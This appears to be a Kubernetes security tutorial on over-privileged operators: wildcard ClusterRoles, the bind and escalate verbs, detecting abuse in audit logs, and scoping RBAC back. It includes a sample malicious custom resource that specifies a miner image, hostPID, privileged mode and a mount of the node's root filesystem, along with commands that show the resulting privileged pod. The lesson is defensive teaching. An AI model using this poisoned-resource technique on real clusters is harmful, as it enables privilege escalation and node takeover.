Operator & controller security
Privileged automation as a supply-chain dependency.
Install one operator from a Helm chart and you might have just handed a stranger the power to do anything, anywhere, in your cluster. Most teams never read the permissions that shipped with it. You run the install, the pods go green, and you move on to the next ticket.
Think about hiring a contractor to fix a leaky tap in apartment 3B. The job needs one key to one room. Instead the building manager hands over the master key to every unit in the block, plus the combination to the front-desk safe. If that contractor is careless, or their toolbag gets stolen, every apartment is exposed. That's the bargain you strike with a lot of operators.
An operator is a small program that runs inside the cluster and watches for a kind of object you invent. The schema for that object is a CRD (Custom Resource Definition), and each object you create from it is a custom resource, or CR. The operator runs a loop: read the desired state from those objects, compare it to what's actually running, and make changes until the two match. A thermostat works the same way. It reads the number you set, checks the room, and switches the heating until they agree. The operator's version of switching the heating is calling the Kubernetes API, and it usually holds broad permission to do so.
Why one operator is a master key
To reconcile the things it manages, an operator needs a service account (SA, the identity a pod logs in as) tied to a ClusterRole through RBAC (Role-Based Access Control, the rules for who may do what). That much is fair. The trouble is scope. A chart author can't know which resources you'll point the operator at, so many charts request everything, and a wildcard verb on a wildcard resource is the default that never breaks a demo. From there, two things go wrong. Someone pops the operator's pod and steals its token, or someone allowed to create the operator's custom resources feeds it a poisoned one. Either way the attacker borrows the operator's reach without earning it.
Start by finding which ClusterRole the operator's identity actually gets.
$ kubectl get clusterrolebinding -o json \| jq -r '.items[]| select(any(.subjects[]?;.kind=="ServiceAccount" and .name=="platform-operator"))| "\(.metadata.name) -> \(.roleRef.kind)/\(.roleRef.name)"'platform-operator-manager -> ClusterRole/platform-operator
That names the role, though the query is a first pass rather than the whole answer. It reads only ClusterRoleBindings, and it matches subjects by name alone, so a platform-operator service account living in some other namespace shows up as a false hit. A RoleBinding that points at a ClusterRole, or a grant that arrives through a group the account belongs to, never shows up at all. When you want the complete picture, kubectl auth can-i --list --as=system:serviceaccount:platform-system:platform-operator answers for every binding at once. Now read what this role grants.
$ kubectl get clusterrole platform-operator -o yamlapiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata:name: platform-operatorrules:- apiGroups: ["*"]resources: ["*"]verbs: ["*"]- apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterroles", "clusterrolebindings"]verbs: ["create", "bind", "escalate"]
Two red flags, though the first one already swallows the second. The first rule is the master key: every verb on every resource in every API group. That covers reading every Secret in the cluster, deleting nodes, and starting pods in any namespace. Because every resource includes clusterroles and clusterrolebindings, and every verb includes bind and escalate, the second rule grants nothing the first hasn't already given away. Learn to spot it anyway, because plenty of charts ask for it on its own, with no wildcard above it. Kubernetes normally refuses to let you grant permissions you don't already hold, which is why a limited account can't just bind itself to cluster-admin. Two verbs are the official exceptions, and they are checked in different places. bind is checked against the role your new binding points at, so bind on cluster-admin lets you hand cluster-admin to anybody. escalate has nothing to do with bindings: it is checked against the role you are writing, and it lets you put permissions into a Role or ClusterRole that you do not hold yourself. Both are only meaningful on roles and clusterroles. The rule above also lists them against clusterrolebindings, where they do nothing at all, which is usually a sign the chart author was copying rather than thinking. That leaves three ways up: bind a role you are not entitled to, write yourself a fatter one with escalate, or already hold every permission you are handing out. The wildcard hands the operator all three. A compromised operator with it doesn't need a clever exploit. It writes itself a cluster-admin binding and settles in.
The malicious custom resource
The stolen-token path is obvious once you've seen the RBAC. The custom-resource path is subtler, because it breaks nothing. Whatever a developer writes into a CR becomes input to privileged code. If the operator copies fields out of the CR and into a Deployment it creates, then whoever can write those CRs decides what the operator builds. One detail gets overlooked. To stop reconcile loops from being blocked, admins routinely exempt the operator from the admission policies that would otherwise reject a privileged pod. Kyverno lets you do that by identity, excluding the operator's service account by name. Gatekeeper's built-in exemptions are namespace-scoped instead, so there the usual move is to exempt the namespace the operator writes into, or to hand-write a check on the requesting username into the Rego. Either way the operator ends up trusted, and everything it creates inherits that trust.
apiVersion: platform.example.com/v1kind: TenantConfigmetadata:name: analyticsnamespace: dev-team-a # a namespace the attacker CAN write tospec:workload:image: ghcr.io/evil/miner:latesthostPID: trueprivileged: truehostPath: / # mount the node's root filesystem
Apply it as a low-privilege developer and watch where the pod lands.
$ kubectl apply -f malicious-tenantconfig.yamltenantconfig.platform.example.com/analytics created$ kubectl get pod -n platform-system -l tenant=analytics \-o jsonpath='{.items[0].spec.containers[0].securityContext.privileged}'true
The developer could only write into dev-team-a. The operator, acting on that CR, built a privileged pod in platform-system, scheduled on a node with the host's root disk mounted, and admission let it through because the operator's SA sits on the allow-list. The attacker never touched platform-system directly. The operator did it for them.
Detect, then scope it back
Both attacks surface in the same place: the API server's audit log, which stamps every request with the identity behind it. The operator's service account has a fixed name, so alert when it does something no operator should. Creating ClusterRoleBindings. Launching privileged pods. Reading Secrets in namespaces it doesn't manage.
$ jq 'select(.user.username=="system:serviceaccount:platform-system:platform-operator"and .objectRef.resource=="pods"and .verb=="create"and any(.requestObject.spec.containers[]?;.securityContext.privileged==true))| {ts:.requestReceivedTimestamp, verb, ns:.objectRef.namespace}' \/var/log/kubernetes/audit.log{"ts": "2026-07-16T10:22:41Z","verb": "create","ns": "platform-system"}
A privileged pod created by the operator's identity is the signal, but an empty result here is not proof of a quiet cluster. Reading securityContext means reading requestObject, and that field only exists if your audit policy records pods at Request or RequestResponse level. At Metadata level, which is what several managed control planes emit until you change it, the field is absent, the ? in the query swallows the error, and nothing prints. Check the policy before you believe the silence, and check where your own API server writes its log: that path is set per cluster, and the one above is only a common choice.
To catch this as it happens rather than at query time, point the API server's audit webhook at Falco and match the same fields with its k8saudit plugin. Falco's ordinary syscall rules cannot do it on their own. They see a privileged container starting on a node, but the name system:serviceaccount:platform-system:platform-operator exists only in the API server's record of the request, so the audit stream still has to reach Falco somehow.
The fix is the dull one that actually holds. Give the operator precisely the rules it needs and nothing more. Read its docs or its reconcile code, list the resources it truly touches, and write a ClusterRole around that exact set. No wildcards. Nothing from the rbac.authorization.k8s.io group unless managing RBAC is genuinely the operator's job.
apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata:name: platform-operatorrules:- apiGroups: ["platform.example.com"]resources: ["tenantconfigs", "tenantconfigs/status"]verbs: ["get", "list", "watch", "update", "patch"]- apiGroups: ["apps"]resources: ["deployments"]verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]- apiGroups: [""]resources: ["events"]verbs: ["create", "patch"]
Then prove the door is shut with kubectl auth can-i, impersonating the operator's account so you test its real permissions and not your own.
$ kubectl apply -f scoped-operator-clusterrole.yamlclusterrole.rbac.authorization.k8s.io/platform-operator configured$ kubectl auth can-i create clusterrolebindings \--as=system:serviceaccount:platform-system:platform-operatorno$ kubectl auth can-i get secrets --all-namespaces \--as=system:serviceaccount:platform-system:platform-operatorno$ kubectl auth can-i update deployments \--as=system:serviceaccount:platform-system:platform-operatoryes
Try this
Build the mistake yourself on a kind cluster you can delete afterwards, no operator required. Create a namespace and a service account with kubectl create ns demo and kubectl create sa op -n demo, bind it straight to cluster-admin with kubectl create clusterrolebinding wide --clusterrole=cluster-admin --serviceaccount=demo:op, then confirm the damage: kubectl auth can-i get secrets --all-namespaces --as=system:serviceaccount:demo:op prints yes. Now do the clean-up badly on purpose. Write a scoped ClusterRole like the one above, apply it, bind it with a second ClusterRoleBinding, and leave the wide binding in place. Run the same auth can-i again. It still says yes, and it will keep saying yes until you delete wide, which is why the audit in this lesson starts at the bindings rather than at the role. Delete it and watch the answer flip to no.
Takeaway
Read the ClusterRole before you install the operator, not after something goes wrong. A wildcard verb on a wildcard resource is the default that never breaks a demo, which is why so many charts ship one, and why a single compromised controller can read every Secret you own. Write the rules the operator actually reconciles, then check your work by impersonating its service account with kubectl auth can-i, because that is the only answer that accounts for every binding still pointing at it.